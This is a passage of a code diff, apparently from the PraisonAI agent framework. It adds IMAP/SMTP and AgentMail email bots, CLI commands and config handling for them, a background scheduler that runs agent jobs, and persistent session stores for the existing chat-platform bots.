# For replying to a message, use messages.reply() method
try:
if reply_to:
# reply_to contains the original message_id — use reply() method
result = client.inboxes.messages.reply(
self._inbox_id,
reply_to, # message_id of original message
text=body,
subject=subject,
)
else:
result = client.inboxes.messages.send(
self._inbox_id,
to=channel_id,
subject=subject,
text=body,
)
# SendMessageResponse has .message_id
message_id = getattr(result, 'message_id', str(uuid.uuid4()))
except Exception as e:
logger.error(f"Failed to send email: {e}")
raise
# Build response message
bot_message = BotMessage(
message_id=message_id,
content=body,
message_type=MessageType.TEXT,
sender=self._bot_user,
channel=BotChannel(channel_id=channel_id, name=channel_id),
reply_to=reply_to,
thread_id=thread_id,
metadata={"subject": subject},
)
# Fire sent hook
self.fire_message_sent(channel_id, body, message_id)
return bot_message
async def edit_message(
self,
channel_id: str,
message_id: str,
content: str,
**kwargs,
) -> BotMessage:
"""Edit a message (not supported for email - sends new message)."""
logger.warning("Email does not support message editing. Sending new message.")
return await self.send_message(channel_id, content, **kwargs)
async def delete_message(
self,
channel_id: str,
message_id: str,
**kwargs,
) -> bool:
"""Delete a message (not supported for email)."""
logger.warning("Email does not support message deletion.")
return False
def on_message(self, handler: Callable) -> Callable:
"""Register a message handler.
Args:
handler: Function to call for each message
Returns:
The handler function
"""
self._message_handlers.append(handler)
return handler
def on_command(self, command: str) -> Callable:
"""Register a command handler.
Args:
command: Command name (without prefix)
Returns:
Decorator function
"""
def decorator(handler: Callable) -> Callable:
self._command_handlers[command.lower()] = handler
return handler
return decorator
async def create_inbox(
self,
domain: Optional[str] = None,
**kwargs,
) -> Dict[str, Any]:
"""Create a new inbox programmatically.
Args:
domain: Custom domain for the inbox
**kwargs: Additional inbox parameters
Returns:
Inbox details including id and email_address
"""
client = self._get_client()
params = {}
if domain:
params["domain"] = domain
params.update(kwargs)
inbox = client.inboxes.create(**params)
# SDK v0.4.7: inbox_id IS the email address
return {
"id": inbox.inbox_id,
"email_address": inbox.inbox_id,
"display_name": getattr(inbox, "display_name", None),
}
async def list_inboxes(self) -> List[Dict[str, Any]]:
"""List all inboxes for this API key.
Returns:
List of inbox details
"""
client = self._get_client()
# SDK v0.4.7: list() returns response object with .inboxes list
result = client.inboxes.list()
inbox_list = result.inboxes if hasattr(result, 'inboxes') else result
return [
{
"id": inbox.inbox_id,
"email_address": inbox.inbox_id,
"display_name": getattr(inbox, "display_name", None),
}
for inbox in inbox_list
]
async def delete_inbox(self, inbox_id: str) -> bool:
"""Delete an inbox.
Args:
inbox_id: ID of inbox to delete
Returns:
True if deleted successfully
"""
client = self._get_client()
try:
client.inboxes.delete(inbox_id)
return True
except Exception as e:
logger.error(f"Failed to delete inbox: {e}")
return False
async def probe(self) -> ProbeResult:
"""Test AgentMail API connectivity."""
start_time = time.time()
try:
client = self._get_client()
# Test by listing inboxes
client.inboxes.list()
elapsed_ms = (time.time() - start_time) * 1000
return ProbeResult(
ok=True,
platform="agentmail",
elapsed_ms=elapsed_ms,
bot_username=self._email_address,
)
except ImportError:
return ProbeResult(
ok=False,
platform="agentmail",
error="agentmail package not installed",
)
except Exception as e:
return ProbeResult(
ok=False,
platform="agentmail",
error=str(e),
)
async def health(self) -> HealthResult:
"""Get health status of the AgentMail bot."""
probe_result = await self.probe()
uptime = 0.0
if self._started_at:
uptime = time.time() - self._started_at
return HealthResult(
ok=self._is_running and probe_result.ok,
platform="agentmail",
is_running=self._is_running,
uptime_seconds=uptime,
probe=probe_result,
sessions=self._session.active_count() if hasattr(self._session, 'active_count') else 0,
)
+12 -1
View File
@@ -45,12 +45,23 @@ _TOKEN_ENV_MAP = {
"discord": "DISCORD_BOT_TOKEN",
"slack": "SLACK_BOT_TOKEN",
"whatsapp": "WHATSAPP_ACCESS_TOKEN",
"email": "EMAIL_APP_PASSWORD",
"agentmail": "AGENTMAIL_API_KEY",
}
# Slack also needs an app token
# Platform-specific extra env vars
_EXTRA_ENV_MAP = {
"slack": {"app_token": "SLACK_APP_TOKEN"},
"whatsapp": {"phone_number_id": "WHATSAPP_PHONE_NUMBER_ID"},
"email": {
"email_address": "EMAIL_ADDRESS",
"imap_server": "EMAIL_IMAP_SERVER",
"smtp_server": "EMAIL_SMTP_SERVER",
},
"agentmail": {
"inbox_id": "AGENTMAIL_INBOX_ID",
"domain": "AGENTMAIL_DOMAIN",
},
}
+116
View File
@@ -137,6 +137,13 @@ class BotOS:
)
self._tasks.append(task)
# Start schedule loop alongside bots so cron jobs execute
schedule_task = asyncio.create_task(
self._run_schedule_loop(),
name="botos-scheduler",
)
self._tasks.append(schedule_task)
try:
await asyncio.gather(*self._tasks, return_exceptions=True)
except asyncio.CancelledError:
@@ -152,6 +159,115 @@ class BotOS:
except Exception as e:
logger.error(f"BotOS: {platform} failed: {e}")
async def _run_schedule_loop(self) -> None:
"""Poll for due scheduled jobs and execute them.
Runs alongside bot tasks so cron/interval schedules fire even
without the UI. On trigger, the agent processes the message
and results are delivered back to the originating platform.
When the UI scheduler is already running (PraisonAIUI started),
this loop defers to it to avoid double-firing jobs.
"""
try:
from praisonaiagents.tools.schedule_tools import _get_store
from praisonaiagents.scheduler import ScheduleRunner
except ImportError:
logger.debug("BotOS: schedule module not available, skipping scheduler")
return
store = _get_store()
runner = ScheduleRunner(store)
logger.info("BotOS: schedule loop started (30s tick)")
while True:
try:
# Skip if the UI scheduler is already running (avoids double-fire)
ui_running = False
try:
from praisonaiui.features.schedules import _scheduler_running
ui_running = _scheduler_running
except ImportError:
pass # UI not installed — we're the only scheduler
if ui_running:
await asyncio.sleep(30)
continue
due = runner.get_due_jobs()
for job in due:
import time as _time
_start = _time.time()
_status = "succeeded"
_result = None
_error = None
_delivered = False
try:
_result, _delivered = await self._execute_schedule_job(job)
except Exception as e:
_status = "failed"
_error = str(e)
logger.warning(f"BotOS: schedule job {job.name} failed: {e}")
_duration = _time.time() - _start
runner.mark_run(
job,
status=_status,
result=_result,
error=_error,
duration=_duration,
delivered=_delivered,
)
except Exception as e:
logger.debug(f"BotOS: schedule tick error: {e}")
await asyncio.sleep(30)
async def _execute_schedule_job(self, job) -> tuple:
"""Execute a single due schedule job.
Returns:
Tuple of (result_str, delivered_bool).
"""
if not job.message:
return (None, False)
# Find the agent to execute with
agent = None
if job.agent_id:
# Look for a bot whose agent matches
for bot in self._bots.values():
a = bot.get_agent() if hasattr(bot, 'get_agent') else getattr(bot, '_agent', None)
if a and getattr(a, 'name', None) == job.agent_id:
agent = a
break
if agent is None:
# Use the first available agent
for bot in self._bots.values():
a = bot.get_agent() if hasattr(bot, 'get_agent') else getattr(bot, '_agent', None)
if a:
agent = a
break
if agent is None:
logger.debug(f"BotOS: no agent for schedule job {job.name}")
return (None, False)
# Run the agent
result = await asyncio.to_thread(agent.chat, job.message)
result_str = str(result) if result else None
# Deliver to originating platform if delivery target is set
delivered = False
delivery = job.delivery
if delivery and delivery.channel and delivery.channel_id:
bot = self.get_bot(delivery.channel)
if bot:
try:
await bot.send_message(delivery.channel_id, str(result))
delivered = True
except Exception as e:
logger.warning(f"BotOS: delivery to {delivery.channel} failed: {e}")
logger.info(f"BotOS: executed schedule job '{job.name}'")
return (result_str, delivered)
async def stop(self) -> None:
"""Gracefully stop all running bots."""
if not self._is_running:
+9 -1
View File
@@ -82,7 +82,15 @@ class DiscordBot(ChatCommandMixin, MessageHookMixin):
self._message_handlers: List[Callable] = []
self._command_handlers: Dict[str, Callable] = {}
self._started_at: Optional[float] = None
self._session: BotSessionManager = BotSessionManager()
try:
from praisonaiagents.session import get_default_session_store
_store = get_default_session_store()
except Exception:
_store = None
self._session: BotSessionManager = BotSessionManager(
store=_store,
platform="discord",
)
self._debouncer: InboundDebouncer = InboundDebouncer(
debounce_ms=self.config.debounce_ms,
)
+598
View File
@@ -0,0 +1,598 @@
"""
Email Bot implementation for PraisonAI.
Provides an email bot runtime with IMAP polling and SMTP sending,
command handling, and agent integration.
Requires: pip install praisonai[email]
"""
from __future__ import annotations
import asyncio
import email
import email.utils
import hashlib
import imaplib
import logging
import os
import smtplib
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union
if TYPE_CHECKING:
from praisonaiagents import Agent
from praisonai.bots._protocol_mixin import ChatCommandMixin, MessageHookMixin
from praisonaiagents.bots import (
BotConfig,
BotMessage,
BotUser,
BotChannel,
MessageType,
ProbeResult,
HealthResult,
)
from ._session import BotSessionManager
from ._email_utils import is_auto_reply, is_blocked_sender
logger = logging.getLogger(__name__)
class EmailBot(ChatCommandMixin, MessageHookMixin):
"""Email bot runtime for PraisonAI agents.
Connects an agent to email via IMAP/SMTP, handling incoming emails
as messages and sending replies.
Example:
from praisonai.bots import EmailBot
from praisonaiagents import Agent
agent = Agent(name="email_assistant")
bot = EmailBot(
token="app_password", # Gmail app password
email_address="[email protected]",
imap_server="imap.gmail.com",
smtp_server="smtp.gmail.com",
agent=agent,
)
await bot.start()
Environment variables (if not passed directly):
EMAIL_APP_PASSWORD: App password for authentication
EMAIL_ADDRESS: Email address for the bot
EMAIL_IMAP_SERVER: IMAP server (default: imap.gmail.com)
EMAIL_SMTP_SERVER: SMTP server (default: smtp.gmail.com)
"""
def __init__(
self,
token: str,
agent: Optional["Agent"] = None,
config: Optional[BotConfig] = None,
email_address: Optional[str] = None,
imap_server: Optional[str] = None,
smtp_server: Optional[str] = None,
imap_port: int = 993,
smtp_port: int = 587,
**kwargs,
):
"""Initialize the Email bot.
Args:
token: App password for email authentication
agent: Optional agent to handle messages
config: Optional bot configuration
email_address: Bot's email address (or EMAIL_ADDRESS env var)
imap_server: IMAP server hostname (or EMAIL_IMAP_SERVER env var)
smtp_server: SMTP server hostname (or EMAIL_SMTP_SERVER env var)
imap_port: IMAP port (default: 993 for SSL)
smtp_port: SMTP port (default: 587 for STARTTLS)
**kwargs: Additional arguments for forward compatibility
"""
self._extra_kwargs = kwargs
self._token = token
self._agent = agent
self.config = config or BotConfig(token=token)
# Email-specific config
self._email_address = email_address or os.environ.get("EMAIL_ADDRESS", "")
self._imap_server = imap_server or os.environ.get("EMAIL_IMAP_SERVER", "imap.gmail.com")
self._smtp_server = smtp_server or os.environ.get("EMAIL_SMTP_SERVER", "smtp.gmail.com")
self._imap_port = imap_port
self._smtp_port = smtp_port
self._is_running = False
self._bot_user: Optional[BotUser] = None
self._imap: Optional[imaplib.IMAP4_SSL] = None
self._message_handlers: List[Callable] = []
self._command_handlers: Dict[str, Callable] = {}
self._started_at: Optional[float] = None
self._processed_uids: set = set() # Track processed email UIDs
try:
from praisonaiagents.session import get_default_session_store
_store = get_default_session_store()
except Exception:
_store = None
self._session: BotSessionManager = BotSessionManager(
store=_store,
platform="email",
)
self._stop_event: Optional[asyncio.Event] = None
self._poll_task: Optional[asyncio.Task] = None
@property
def is_running(self) -> bool:
return self._is_running
@property
def platform(self) -> str:
return "email"
@property
def bot_user(self) -> Optional[BotUser]:
return self._bot_user
def set_agent(self, agent: "Agent") -> None:
"""Set the agent that handles messages."""
self._agent = agent
def get_agent(self) -> Optional["Agent"]:
"""Get the current agent."""
return self._agent
async def start(self) -> None:
"""Start the Email bot (begin IMAP polling)."""
if self._is_running:
logger.warning("EmailBot already running")
return
if not self._email_address:
raise ValueError(
"Email address required. Set EMAIL_ADDRESS env var or pass email_address parameter."
)
if not self._token:
raise ValueError(
"App password required. Set EMAIL_APP_PASSWORD env var or pass token parameter."
)
# Test connection
probe = await self.probe()
if not probe.ok:
raise ConnectionError(f"Failed to connect to email server: {probe.error}")
self._bot_user = BotUser(
user_id=self._email_address,
username=self._email_address,
display_name=self._email_address.split("@")[0],
is_bot=True,
)
self._is_running = True
self._started_at = time.time()
self._stop_event = asyncio.Event()
# Start polling loop
self._poll_task = asyncio.create_task(self._poll_loop())
logger.info(f"EmailBot started for {self._email_address}")
async def stop(self) -> None:
"""Stop the Email bot."""
if not self._is_running:
return
self._is_running = False
if self._stop_event:
self._stop_event.set()
if self._poll_task:
self._poll_task.cancel()
try:
await self._poll_task
except asyncio.CancelledError:
pass
if self._imap:
try:
self._imap.logout()
except Exception:
pass
self._imap = None
logger.info("EmailBot stopped")
async def _poll_loop(self) -> None:
"""Main polling loop for checking new emails."""
poll_interval = self.config.polling_interval or 30.0 # Default 30s for email
while self._is_running:
try:
await self._check_new_emails()
except Exception as e:
logger.error(f"Error checking emails: {e}")
# Wait for next poll or stop signal
try:
await asyncio.wait_for(
self._stop_event.wait(),
timeout=poll_interval,
)
break # Stop event was set
except asyncio.TimeoutError:
continue # Normal timeout, continue polling
async def _check_new_emails(self) -> None:
"""Check for new unread emails and process them."""
loop = asyncio.get_event_loop()
try:
# Connect to IMAP
imap = await loop.run_in_executor(
None,
lambda: imaplib.IMAP4_SSL(self._imap_server, self._imap_port)
)
await loop.run_in_executor(
None,
lambda: imap.login(self._email_address, self._token)
)
await loop.run_in_executor(None, lambda: imap.select("INBOX"))
# Search for unread emails
_, message_numbers = await loop.run_in_executor(
None,
lambda: imap.search(None, "UNSEEN")
)
for num in message_numbers[0].split():
if not self._is_running:
break
uid = num.decode()
if uid in self._processed_uids:
continue
try:
_, msg_data = await loop.run_in_executor(
None,
lambda n=num: imap.fetch(n, "(RFC822)")
)
if msg_data[0] is None:
continue
raw_email = msg_data[0][1]
email_message = email.message_from_bytes(raw_email)
# Check for auto-reply headers
if self._is_auto_reply(email_message):
logger.debug(f"Skipping auto-reply email: {uid}")
self._processed_uids.add(uid)
continue
# Parse sender
from_header = email_message.get("From", "")
sender_name, sender_email = email.utils.parseaddr(from_header)
# Check for blocked senders
if self._is_blocked_sender(sender_email):
logger.debug(f"Skipping blocked sender: {sender_email}")
self._processed_uids.add(uid)
continue
# Extract body
body = self._extract_body(email_message)
subject = email_message.get("Subject", "(No Subject)")
message_id = email_message.get("Message-ID", uid)
references = email_message.get("References", "")
in_reply_to = email_message.get("In-Reply-To", "")
# Create BotMessage
bot_message = BotMessage(
message_id=message_id,
content=f"Subject: {subject}\n\n{body}",
message_type=MessageType.TEXT,
sender=BotUser(
user_id=sender_email,
username=sender_email,
display_name=sender_name or sender_email,
),
channel=BotChannel(
channel_id=sender_email,
name=sender_email,
channel_type="dm",
),
reply_to=in_reply_to or None,
thread_id=references or message_id,
metadata={
"subject": subject,
"message_id": message_id,
"references": references,
"in_reply_to": in_reply_to,
},
)
self._processed_uids.add(uid)
# Process message
await self._handle_message(bot_message)
except Exception as e:
logger.error(f"Error processing email {uid}: {e}")
await loop.run_in_executor(None, imap.logout)
except Exception as e:
logger.error(f"IMAP error: {e}")
def _is_auto_reply(self, msg: email.message.Message) -> bool:
"""Check if email is an auto-reply."""
headers = {k: v for k, v in msg.items()}
return is_auto_reply(headers)
def _is_blocked_sender(self, sender: str) -> bool:
"""Check if sender should be blocked."""
return is_blocked_sender(sender)
def _extract_body(self, msg: email.message.Message) -> str:
"""Extract plain text body from email."""
if msg.is_multipart():
for part in msg.walk():
content_type = part.get_content_type()
if content_type == "text/plain":
payload = part.get_payload(decode=True)
if payload:
charset = part.get_content_charset() or "utf-8"
return payload.decode(charset, errors="replace")
else:
payload = msg.get_payload(decode=True)
if payload:
charset = msg.get_content_charset() or "utf-8"
return payload.decode(charset, errors="replace")
return ""
async def _handle_message(self, message: BotMessage) -> None:
"""Handle an incoming email message."""
# Fire message hooks
self.fire_message_received(message)
# Check command prefix in subject
subject = message.metadata.get("subject", "")
if subject.startswith(self.config.command_prefix):
command = subject[len(self.config.command_prefix):].split()[0].lower()
if command in self._command_handlers:
try:
await self._command_handlers[command](message)
except Exception as e:
logger.error(f"Command handler error: {e}")
return
# Call registered message handlers
for handler in self._message_handlers:
try:
result = handler(message)
if asyncio.iscoroutine(result):
await result
except Exception as e:
logger.error(f"Message handler error: {e}")
# Process with agent if available
if self._agent:
try:
# Extract just the body for the agent
body = message.content
if body.startswith("Subject:"):
body = body.split("\n\n", 1)[-1]
response = await self._session.chat(
self._agent,
message.sender.user_id,
body,
)
if response:
# Reply to the email
await self.send_message(
channel_id=message.sender.user_id,
content={
"subject": f"Re: {message.metadata.get('subject', '')}",
"body": response,
},
reply_to=message.message_id,
thread_id=message.thread_id,
)
except Exception as e:
logger.error(f"Agent processing error: {e}")
async def send_message(
self,
channel_id: str,
content: Union[str, Dict[str, Any]],
reply_to: Optional[str] = None,
thread_id: Optional[str] = None,
) -> BotMessage:
"""Send an email message.
Args:
channel_id: Recipient email address
content: Message content (str or {"subject": ..., "body": ...})
reply_to: Message-ID to reply to (sets In-Reply-To header)
thread_id: References chain (sets References header)
Returns:
The sent message
"""
# Fire sending hook
content_str = content.get("body", "") if isinstance(content, dict) else str(content)
self.fire_message_sending(channel_id, content_str)
# Parse content
if isinstance(content, dict):
subject = content.get("subject", "Message from PraisonAI")
body = content.get("body", "")
html = content.get("html")
else:
subject = "Message from PraisonAI"
body = str(content)
html = None
# Build email
if html:
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(body, "plain"))
msg.attach(MIMEText(html, "html"))
else:
msg = MIMEText(body, "plain")
msg["From"] = self._email_address
msg["To"] = channel_id
msg["Subject"] = subject
# Generate unique Message-ID
domain = self._email_address.split("@")[-1]
message_id = f"<{hashlib.md5(f'{time.time()}{channel_id}'.encode()).hexdigest()}@{domain}>"
msg["Message-ID"] = message_id
# Threading headers
if reply_to:
msg["In-Reply-To"] = reply_to
if thread_id:
msg["References"] = thread_id
# Add auto-reply header to prevent loops
msg["X-Auto-Reply"] = "yes"
msg["Auto-Submitted"] = "auto-replied"
# Send via SMTP
loop = asyncio.get_event_loop()
await loop.run_in_executor(None, self._send_smtp, msg)
# Create BotMessage for return
bot_message = BotMessage(
message_id=message_id,
content=body,
message_type=MessageType.TEXT,
sender=self._bot_user,
channel=BotChannel(channel_id=channel_id, name=channel_id),
reply_to=reply_to,
thread_id=thread_id,
metadata={"subject": subject},
)
# Fire sent hook
self.fire_message_sent(channel_id, body, message_id)
return bot_message
def _send_smtp(self, msg: MIMEText) -> None:
"""Send email via SMTP (sync, runs in executor)."""
with smtplib.SMTP(self._smtp_server, self._smtp_port) as server:
server.starttls()
server.login(self._email_address, self._token)
server.send_message(msg)
async def edit_message(
self,
channel_id: str,
message_id: str,
content: Union[str, Dict[str, Any]],
) -> BotMessage:
"""Edit a message (not supported for email - sends new message)."""
logger.warning("Email does not support message editing. Sending new message.")
return await self.send_message(channel_id, content)
async def delete_message(self, channel_id: str, message_id: str) -> bool:
"""Delete a message (not supported for email)."""
logger.warning("Email does not support message deletion.")
return False
def on_message(self, handler: Callable[[BotMessage], Any]) -> Callable:
"""Register a message handler."""
self._message_handlers.append(handler)
return handler
def on_command(self, command: str) -> Callable:
"""Decorator to register a command handler.
Commands are detected from email subject lines starting with
the command prefix (default: "/").
Example:
@bot.on_command("status")
async def handle_status(message):
await bot.send_message(message.channel.channel_id, "Bot is running!")
"""
def decorator(func: Callable) -> Callable:
self._command_handlers[command.lower()] = func
return func
return decorator
async def send_typing(self, channel_id: str) -> None:
"""Send typing indicator (no-op for email)."""
pass
async def get_user(self, user_id: str) -> Optional[BotUser]:
"""Get user information."""
return BotUser(user_id=user_id, username=user_id)
async def get_channel(self, channel_id: str) -> Optional[BotChannel]:
"""Get channel information."""
return BotChannel(channel_id=channel_id, name=channel_id, channel_type="dm")
async def probe(self) -> ProbeResult:
"""Test email server connectivity."""
start_time = time.time()
try:
loop = asyncio.get_event_loop()
# Test IMAP
imap = await loop.run_in_executor(
None,
lambda: imaplib.IMAP4_SSL(self._imap_server, self._imap_port)
)
await loop.run_in_executor(
None,
lambda: imap.login(self._email_address, self._token)
)
await loop.run_in_executor(None, imap.logout)
elapsed_ms = (time.time() - start_time) * 1000
return ProbeResult(
ok=True,
platform="email",
elapsed_ms=elapsed_ms,
bot_username=self._email_address,
)
except Exception as e:
return ProbeResult(
ok=False,
platform="email",
error=str(e),
)
async def health(self) -> HealthResult:
"""Get health status of the email bot."""
probe_result = await self.probe()
uptime = 0.0
if self._started_at:
uptime = time.time() - self._started_at
return HealthResult(
ok=self._is_running and probe_result.ok,
platform="email",
is_running=self._is_running,
uptime_seconds=uptime,
probe=probe_result,
sessions=self._session.active_count() if hasattr(self._session, 'active_count') else 0,
)
+9 -1
View File
@@ -95,7 +95,15 @@ class SlackBot(ChatCommandMixin, MessageHookMixin):
self._message_handlers: List[Callable] = []
self._command_handlers: Dict[str, Callable] = {}
self._started_at: Optional[float] = None
self._session: BotSessionManager = BotSessionManager()
try:
from praisonaiagents.session import get_default_session_store
_store = get_default_session_store()
except Exception:
_store = None
self._session: BotSessionManager = BotSessionManager(
store=_store,
platform="slack",
)
self._debouncer: InboundDebouncer = InboundDebouncer(
debounce_ms=self.config.debounce_ms,
)
+9 -1
View File
@@ -85,7 +85,15 @@ class TelegramBot(ChatCommandMixin, MessageHookMixin):
self._message_handlers: List[Callable] = []
self._command_handlers: Dict[str, Callable] = {}
self._started_at: Optional[float] = None
self._session: BotSessionManager = BotSessionManager()
try:
from praisonaiagents.session import get_default_session_store
_store = get_default_session_store()
except Exception:
_store = None
self._session: BotSessionManager = BotSessionManager(
store=_store,
platform="telegram",
)
self._debouncer: InboundDebouncer = InboundDebouncer(
debounce_ms=self.config.debounce_ms,
)
+9 -1
View File
@@ -130,7 +130,15 @@ class WhatsAppBot(ChatCommandMixin, MessageHookMixin):
self._is_running = False
self._started_at: Optional[float] = None
self._bot_user: Optional[BotUser] = None
self._session_mgr = BotSessionManager()
try:
from praisonaiagents.session import get_default_session_store
_store = get_default_session_store()
except Exception:
_store = None
self._session_mgr = BotSessionManager(
store=_store,
platform="whatsapp",
)
self._message_handlers: List[Callable] = []
self._runner: Any = None
self._site: Any = None
@@ -355,6 +355,89 @@ def bot_whatsapp(
)
@app.command("email")
def bot_email(
token: Optional[str] = typer.Option(None, "--token", "-t", help="Email app password", envvar="EMAIL_APP_PASSWORD"),
email_address: Optional[str] = typer.Option(None, "--email", help="Email address", envvar="EMAIL_ADDRESS"),
imap_server: Optional[str] = typer.Option(None, "--imap", help="IMAP server"),
smtp_server: Optional[str] = typer.Option(None, "--smtp", help="SMTP server"),
agent: Optional[str] = typer.Option(None, "--agent", "-a", help="Agent YAML configuration file"),
model: Optional[str] = typer.Option(None, "--model", "-m", help="LLM model to use"),
tools: Optional[List[str]] = typer.Option(None, "--tools", help="Tools to enable"),
memory: bool = typer.Option(False, "--memory", help="Enable memory"),
knowledge: bool = typer.Option(False, "--knowledge", help="Enable knowledge/RAG"),
web_search: bool = typer.Option(False, "--web", "--web-search", help="Enable web search"),
auto_approve: bool = typer.Option(False, "--auto-approve", help="Auto-approve all tool executions"),
):
"""Start an Email bot (IMAP/SMTP).
Examples:
praisonai bot email --token $EMAIL_APP_PASSWORD --email user@gmail.com
praisonai bot email --agent agents.yaml --memory
"""
from ..features.bots_cli import BotHandler, BotCapabilities
capabilities = BotCapabilities(
tools=tools or [],
memory=memory,
knowledge=knowledge,
web_search=web_search,
auto_approve=auto_approve,
model=model,
)
handler = BotHandler()
handler.start_email(
token=token,
agent_file=agent,
capabilities=capabilities,
email_address=email_address,
imap_server=imap_server,
smtp_server=smtp_server,
)
@app.command("agentmail")
def bot_agentmail(
token: Optional[str] = typer.Option(None, "--token", "-t", help="AgentMail API key", envvar="AGENTMAIL_API_KEY"),
inbox_id: Optional[str] = typer.Option(None, "--inbox", help="Existing inbox ID / email address", envvar="AGENTMAIL_INBOX_ID"),
domain: Optional[str] = typer.Option(None, "--domain", help="Custom domain for new inboxes", envvar="AGENTMAIL_DOMAIN"),
agent: Optional[str] = typer.Option(None, "--agent", "-a", help="Agent YAML configuration file"),
model: Optional[str] = typer.Option(None, "--model", "-m", help="LLM model to use"),
tools: Optional[List[str]] = typer.Option(None, "--tools", help="Tools to enable"),
memory: bool = typer.Option(False, "--memory", help="Enable memory"),
knowledge: bool = typer.Option(False, "--knowledge", help="Enable knowledge/RAG"),
web_search: bool = typer.Option(False, "--web", "--web-search", help="Enable web search"),
auto_approve: bool = typer.Option(False, "--auto-approve", help="Auto-approve all tool executions"),
):
"""Start an AgentMail bot (API-first email for AI agents).
Examples:
praisonai bot agentmail --token $AGENTMAIL_API_KEY
praisonai bot agentmail --inbox praison@agentmail.to
praisonai bot agentmail --agent agents.yaml --memory
"""
from ..features.bots_cli import BotHandler, BotCapabilities
capabilities = BotCapabilities(
tools=tools or [],
memory=memory,
knowledge=knowledge,
web_search=web_search,
auto_approve=auto_approve,
model=model,
)
handler = BotHandler()
handler.start_agentmail(
token=token,
agent_file=agent,
capabilities=capabilities,
inbox_id=inbox_id,
domain=domain,
)
@app.callback(invoke_without_command=True)
def bot_callback(ctx: typer.Context):
"""Show bot help if no subcommand provided."""
@@ -369,6 +452,8 @@ Start a bot on any platform with: praisonai bot <platform>
[green]discord[/green] Discord Bot API
[green]slack[/green] Slack Socket Mode
[green]whatsapp[/green] WhatsApp Cloud API or Web mode (QR scan)
[green]email[/green] Email via IMAP/SMTP
[green]agentmail[/green] AgentMail API (API-first email for AI agents)
[bold]Capability Options (all platforms):[/bold]
[yellow]--agent FILE[/yellow] Agent YAML configuration
@@ -190,12 +190,25 @@ class BotHandler:
platform = config.get("platform")
if not platform:
print("Error: 'platform' is required in bot config (telegram, discord, or slack)")
return
# Also try channels-style config (multi-channel format)
channels = config.get("channels")
if channels and isinstance(channels, dict):
# Pick first channel as platform
platform = next(iter(channels))
# Merge channel config into top level for token resolution
channel_conf = channels[platform] or {}
if "token" not in config and channel_conf.get("token"):
config["token"] = channel_conf["token"]
if "bot_token" not in config and channel_conf.get("bot_token"):
config["token"] = channel_conf["bot_token"]
else:
print("Error: 'platform' or 'channels' is required in bot config")
return
platform = platform.lower().strip()
if platform not in ("telegram", "discord", "slack", "whatsapp"):
print(f"Error: Unknown platform '{platform}'. Use: telegram, discord, slack, whatsapp")
valid_platforms = ("telegram", "discord", "slack", "whatsapp", "email", "agentmail")
if platform not in valid_platforms:
print(f"Error: Unknown platform '{platform}'. Use: {', '.join(valid_platforms)}")
return
token = resolve_env_vars(config.get("token", ""))
@@ -272,6 +285,25 @@ class BotHandler:
allowed_groups=wa_allowed_groups,
respond_to_all=bool(wa_respond_to_all),
)
elif platform == "email":
self.start_email(
token=token or None,
agent_file=None,
capabilities=capabilities,
agent_config_dict=agent_config,
email_address=resolve_env_vars(config.get("email_address", "")),
imap_server=resolve_env_vars(config.get("imap_server", "")),
smtp_server=resolve_env_vars(config.get("smtp_server", "")),
)
elif platform == "agentmail":
self.start_agentmail(
token=token or None,
agent_file=None,
capabilities=capabilities,
agent_config_dict=agent_config,
inbox_id=resolve_env_vars(config.get("inbox_id", "")),
domain=resolve_env_vars(config.get("domain", "")),
)
def start_telegram(
self,
@@ -522,6 +554,117 @@ class BotHandler:
except Exception:
pass # neonize Go threads may already be gone
def start_email(
self,
token: Optional[str] = None,
agent_file: Optional[str] = None,
capabilities: Optional[BotCapabilities] = None,
agent_config_dict: Optional[Dict[str, Any]] = None,
email_address: Optional[str] = None,
imap_server: Optional[str] = None,
smtp_server: Optional[str] = None,
) -> None:
"""Start an Email bot (IMAP/SMTP).
Args:
token: Email app password (or EMAIL_APP_PASSWORD env var)
agent_file: Optional path to agent config file
capabilities: Optional capabilities configuration
agent_config_dict: Optional agent config dict from bot YAML
email_address: Email address to use
imap_server: IMAP server hostname
smtp_server: SMTP server hostname
"""
self._load_dotenv()
token = token or os.environ.get("EMAIL_APP_PASSWORD")
if not token:
print("Error: Email app password required")
print("Provide via --token or EMAIL_APP_PASSWORD environment variable")
return
if capabilities and capabilities.auto_approve:
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
try:
from praisonai.bots import EmailBot
except ImportError as e:
print(f"Error: EmailBot import failed. {e}")
return
agent = self._load_agent(agent_file, capabilities, agent_config_dict=agent_config_dict)
bot = EmailBot(
token=token,
agent=agent,
email_address=email_address or None,
imap_server=imap_server or None,
smtp_server=smtp_server or None,
)
self._print_startup_info("Email (IMAP/SMTP)", capabilities)
try:
asyncio.run(bot.start())
except KeyboardInterrupt:
print("\nStopping bot...")
asyncio.run(bot.stop())
def start_agentmail(
self,
token: Optional[str] = None,
agent_file: Optional[str] = None,
capabilities: Optional[BotCapabilities] = None,
agent_config_dict: Optional[Dict[str, Any]] = None,
inbox_id: Optional[str] = None,
domain: Optional[str] = None,
) -> None:
"""Start an AgentMail bot (API-first email).
Args:
token: AgentMail API key (or AGENTMAIL_API_KEY env var)
agent_file: Optional path to agent config file
capabilities: Optional capabilities configuration
agent_config_dict: Optional agent config dict from bot YAML
inbox_id: Existing inbox ID / email address to reuse
domain: Custom domain for new inboxes
"""
self._load_dotenv()
token = token or os.environ.get("AGENTMAIL_API_KEY")
if not token:
print("Error: AgentMail API key required")
print("Provide via --token or AGENTMAIL_API_KEY environment variable")
return
if capabilities and capabilities.auto_approve:
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
try:
from praisonai.bots import AgentMailBot
except ImportError as e:
print(f"Error: AgentMailBot import failed. {e}")
print("Install with: pip install agentmail")
return
inbox_id = inbox_id or os.environ.get("AGENTMAIL_INBOX_ID")
domain = domain or os.environ.get("AGENTMAIL_DOMAIN")
agent = self._load_agent(agent_file, capabilities, agent_config_dict=agent_config_dict)
bot = AgentMailBot(
token=token,
agent=agent,
inbox_id=inbox_id,
domain=domain,
)
self._print_startup_info("AgentMail", capabilities)
if inbox_id:
print(f"Inbox: {inbox_id}")
try:
asyncio.run(bot.start())
except KeyboardInterrupt:
print("\nStopping bot...")
asyncio.run(bot.stop())
def _get_agent_kwargs(self, capabilities: Optional[BotCapabilities]) -> Dict[str, Any]:
"""Extract Agent constructor kwargs from BotCapabilities (DRY).
@@ -312,13 +312,23 @@ class HybridWorkflowExecutor:
return flags
